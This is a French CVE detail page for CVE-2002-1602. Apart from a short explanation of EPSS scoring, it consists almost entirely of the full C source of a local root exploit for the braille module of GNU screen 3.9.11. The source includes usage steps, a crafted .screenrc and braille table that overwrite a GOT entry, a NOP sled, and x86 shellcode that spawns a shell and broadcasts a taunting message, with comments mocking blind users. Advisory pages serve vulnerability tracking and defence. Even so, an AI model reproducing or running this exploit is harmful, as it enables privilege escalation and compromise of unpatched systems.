CVE-2002-1602 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/4578/info Screen is a freely available, open source terminal management software package. It is distributed and maintained by the Free Software Foundation. It is available for the Unix and Linux platforms. Under some circumstances, it may be possible for a local user to take advantage of a buffer overflow in screen. Due to insufficient bounds checking performed by the braille module of screen, it is possible for a local user to pass long strings of data to the screen program, which could result in an overflow, and the overwriting of process memory. This could result in the execution of arbitrary code. /* screen 3.9.11 local root exploit for braille module dedicated to the $ecurity Community, where blind leading blind. code for: linux/x86 to use: 1) edit paths in #defines 2) gcc -o GOBBLES-own-screen GOBBLES-own-screen.c 3) ./GOBBLES-own-screen -p 4) ./GOBBLES-own-screen -f 5) ./GOBBLES-own-screen -a 0xGOBBLES if you want rootshell, that up to you to modify exploit. beware vicious remote root exploit coming from GOBBLES for Sun Solaris version 6-8, hurry up Sun to make patch. . . */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define NULLBASE 48 #define TABLE "/home/GOBBLES/hacking/.scrx" #define SCREENRC "/home/GOBBLES/hacking/.screenrc" #define SCREEN "/home/GOBBLES/hacking/current/screen-3.9.11/screen" #define FIND 1 #define PUT 0 #define OFFSET -40300 #define SHELL "/bin/bash" #define NOP 0x90 void bta(int byte, char *store); void stuff(int que); unsigned long get_sp(void) { __asm__ ("movl %esp, %eax"); // rumor is Cousin WOBBLES leaked this public, hehehe thnx! } int main(int argc, char **argv) { char *a, *tmp, buf[64], store[10], c; unsigned long address; unsigned int w[4]; int i, b, start; FILE *fd; if(argc == 1) { fprintf(stderr, "\n%s [ -p ] [ -f ] [ -a <shellcode address> -o <offset to GOT address> ]\n\n", argv[0]); fprintf(stderr, "-p switch places shellcode into memory\n"); fprintf(stderr, "-f switch finds shellcode address\n\n"); fprintf(stderr, "No switch runs exploit with options:\n"); fprintf(stderr, "\t-a <shellcode address>\n"); fprintf(stderr, "\t-o <offset to GOT address>\n\n"); exit(0); } start = OFFSET; while((c = getopt(argc, argv, "pfa:o:")) != EOF) { switch(c) { case 'p': stuff(PUT); exit(0); case 'f': stuff(FIND); exit(0); case 'a': sscanf(optarg, "%p", &tmp); address = (long)tmp; break; case 'o': start = atoi(optarg); break; default: fprintf(stderr, "hehehehe?\n"); exit(0); } } fprintf(stderr, ". preparing evil braille table\n"); if((fd = fopen(TABLE, "w")) == NULL) { perror("fopen"); exit(1); } fprintf(stderr, ". converting: 0x%lx into braille table strings\n", address); w[0] = (address & 0x000000ff); w[1] = (address & 0x0000ff00) >> 8; w[2] = (address & 0x00ff0000) >> 16; w[3] = (address & 0xff000000) >> 24; for(i = 0; i < 4; i++) { memset(store, 'o', 9); bta(w[i], store); memset(buf, '\0', sizeof(buf)); snprintf(buf, sizeof(buf), "%d ff %s\n", start+i, store); fprintf(stderr, ". writing to braille table: %s", buf); fprintf(fd, "%s", buf); } fclose(fd); fprintf(stderr, ". preparing evil .screenrc\n"); if((fd = fopen(SCREENRC, "w")) == NULL) { perror("fopen"); exit(1); } fprintf(fd, "bd_start_braille on\n"); memset(buf, '\0', sizeof(buf)); snprintf(buf, sizeof(buf), "bd_braille_table %s\n", TABLE); fprintf(fd, "%s", buf); fprintf(fd, "bd_type powerbraille_40\n"); fprintf(fd, "bd_port /dev/ttyS0\n"); fclose(fd); fprintf(stderr, ". now exploiting blind, hehehe\n"); if(execl(SCREEN, "screen", "-c", SCREENRC, NULL)) { fprintf(stderr, ". error executing\n"); exit(1); } } void bta(int byte, char *store) { int check[9], i, b, tmp; check[0] = 0; check[1] = 1; check[2] = 2; check[3] = 4; check[4] = 8; check[5] = 16; check[6] = 32; check[7] = 64; check[8] = 128; tmp = byte; for(i = 8; i >= 0; i--) { if(check[i] <= tmp) { tmp -= check[i]; store[i] = 'x'; } } for(i = 0; i < 9; i++) { if(store[i] == 'x') store[i] = NULLBASE + i; else store[i] = NULLBASE; } store[9] = '\0'; fprintf(stderr, ". braille table string for byte: 0x%x is: %s\n", byte, store); } void stuff(int que) { char *p, codebuf[4097], code[] = // borrowed shellcode, GOBBLES lazy today, // not sure who to credit for it, if it // yours please email GOBBLES@hushmail.com // to be acknowledged! "\x31\xc0\x83\xc0\x17\x31\xdb\xcd\x80\xeb" "\x30\x5f\x31\xc9\x88\x4f\x17\x88\x4f\x1a" "\x8d\x5f\x10\x89\x1f\x8d\x47\x18\x89\x47" "\x04\x8d\x47\x1b\x89\x47\x08\x31\xc0\x89" "\x47\x0c\x8d\x0f\x8d\x57\x0c\x83\xc0\x0b" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8" "\xcb\xff\xff\xff\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x2f\x62\x69\x6e\x2f\x73\x68\x30\x2d\x63" "\x30" // hehehe..hoping blind not deaf so he can hear beep, hehehe. "echo \"Hope you not really blind, because you now owned by unethical penetrator using ethical GOBBLES exploit, hehehehe ;Pppppp\" | wall"; // also let user on shell provider know system comprimised, hehe. char *locate = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; int i; if(que == PUT) { // adding many nops to build much suspense hehehe memset(&codebuf, '\0', sizeof(codebuf)); memset(codebuf, NOP, (sizeof(codebuf) - 1)); memcpy(codebuf + (sizeof(codebuf) - strlen(code) - 1), code, strlen(code)); fprintf(stderr, ". run GOBBLES-own-screen -f\n"); if(setenv("CODE", codebuf, 1) == -1) { fprintf(stderr, ". no mem for shellcode\n"); return; } system(SHELL); } else if(que == FIND) { // track down nops fprintf(stderr, ". getting address\n"); p = (char *)get_sp(); while((i = strncmp(p, locate, strlen(locate))) != 0) p++; if(i == 0) { fprintf(stderr, ". shellcode found at: 0x%lx\n", p+1); return; } else { fprintf(stderr, ". trouble locating shellcode\n"); return; } } }